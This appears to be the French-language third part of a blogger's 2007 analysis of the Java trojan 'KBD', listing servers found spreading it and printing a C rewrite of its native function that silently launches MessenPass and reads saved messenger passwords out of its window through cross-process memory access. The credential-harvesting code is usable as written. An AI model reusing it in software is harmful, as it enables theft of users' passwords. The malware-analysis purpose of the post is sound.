Analyse d'un cheval de Troie écrit en Java (3/3)

Wed 03 October 2007 by JB

Ce billet est une annexe concluant les deux articles déjà postés sur le cheval de Troie KBD. Il contient :

  • Le diagramme des classes utilisées
  • Une liste de serveurs contaminés diffusant le cheval de Troie
  • La réécriture en C d'une fonction trouvée dans le cheval de Troie, qui récupère les mots de passe retournées par MessenPass

Diagramme des classes utilisées

classes.png

Autres serveurs contaminés

Ci-après une liste de serveurs contenant dans leur titre la chaîne tt2.swi.

www.africawildlife.com/bilder/design.html
www.alcara.biz/public/design.html
www.toughtraveler.com/design.html
max34000.tripod.com/design.html
www.waena.edu/design.html
www.goldbilgisayar.net/sony/design.html
www.onnetbilisim.com/design.html
sambaci03.tripod.com/design.html
www.geocities.com/poolmanufuk/design.html
members.fortunecity.co.uk/redhotdevil/tt.html
www.memorialgarden.com/design.html
www.ladybugarts.com/design.html
von-der-igelhoehe.de/bilder/design.html
comicationism.com/design.html
www.gcbh.org/design.html
ekmek.nl/design.html

Code C de la fonction getPasswordList

#define BUFFER_SIZE 512

JNIEXPORT void JNICALL
Java_NativeKaynaklar_getPasswordList(JNIEnv *env, jclass, jstring str)
{
    DWORD dwProcessId;
    HANDLE hProcess;

    // Exécution du processus et attente
    TCHAR *programName = env->GetStringUTFChars(str, 0);
    WinExec(programName, SW_HIDE);
    Sleep(2000);

    // Recherche la liste et récupère le nombre d'éléments qu'elle contient
    HWND hWnd = FindWindow(NULL, "MessenPass");
    HWND hWndList = FindWindowEx(hWnd, NULL, "SysListView32", NULL);
    DWORD cbListItems = SendMessage(hWndList, LVM_GETITEMCOUNT, 0, 0);

    // Ouvre le processus avec des droits d'écriture et d'allocation
    GetWindowThreadProcessId(hWnd, &dwProcessId);
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE |
        PROCESS_VM_READ | PROCESS_VM_OPERATION, FALSE, dwProcessId);
    if(hProcess != NULL)
    {
        int i;
        LVITEM lvItem;
        // Alloue de la mémoire dans le processus MessenPass pour y stocker
        // le texte de la liste
        LVITEM *lplvItem = (LVITEM *)VirtualAllocEx(
            hProcess, NULL, sizeof(LVITEM), MEM_COMMIT, PAGE_READWRITE);
        LPBYTE lpData = VirtualAllocEx(
            hProcess, NULL, BUFFER_SIZE, MEM_COMMIT, PAGE_READWRITE);
        TCHAR *buffer = malloc(16 * BUFFER_SIZE);

        // Récupère le texte pour chaque élément de la liste
        for(i = 0; i < cbListItems; i++)
        {
            ZeroMemory(buffer, BUFFER_SIZE);
            lvItem.mask = LVIF_TEXT;
            lvItem.iSubItem = 1;
            lvItem.pszText = lpData;
            lvItem.cchTextMax = BUFFER_SIZE;
            TCHAR textRead[BUFFER_SIZE];

            // Copie la structure de liste créée vers MessenPass
            WriteProcessMemory(
                hProcess, lplvItem, &amp;lvItem, sizeof(LVITEM), NULL);
            // Récupération du texte vers la structure allouée
            SendMessage(hWndList, LVM_GETITEMTEXT, 0, (int)lplvItem);
            // Recopie de la structure vers le processus malveillant
            ReadProcessMemory(hProcess, lpData, textRead, BUFFER_SIZE, NULL);
            strcat(buffer, textRead);
            strcat(buffer, "\r\n");

            // Idem pour les autres colonnes de la liste...
            lvItem.iSubItem = 2;
            WriteProcessMemory(
                hProcess, lplvItem, &amp;lvItem, sizeof(LVITEM), NULL);
            SendMessage(hWndList, LVM_GETITEMTEXT, 0, (int)lplvItem);
            ReadProcessMemory(hProcess, lpData, textRead, BUFFER_SIZE, NULL);
            strcat(buffer, textRead);
            strcat(buffer, "\r\n");

            lvItem.iSubItem = 3;
            WriteProcessMemory(
                hProcess, lplvItem, &amp;lvItem, sizeof(LVITEM), NULL);
            SendMessage(hWndList, LVM_GETITEMTEXT, 0, (int)lplvItem);
            ReadProcessMemory(
                hProcess, lpData, textRead, BUFFER_SIZE, NULL);
            strcat(buffer, textRead);

            // Terminé
            strcat(buffer, "\r\n!@FUNCTION_ENDED@!\r\n");
        }
        env->ReleaseStringUTFChars(str, buffer);
        free(buffer);
        VirtualFreeEx(hProcess, lplvItem, sizeof(lplvItem), MEM_DECOMMIT);
        VirtualFreeEx(hProcess, lpData, sizeof(lpData), MEM_DECOMMIT);
        // Fermeture de MessenPass
        SendMessage(hWnd, WM_CLOSE, 0, 0);
    }
}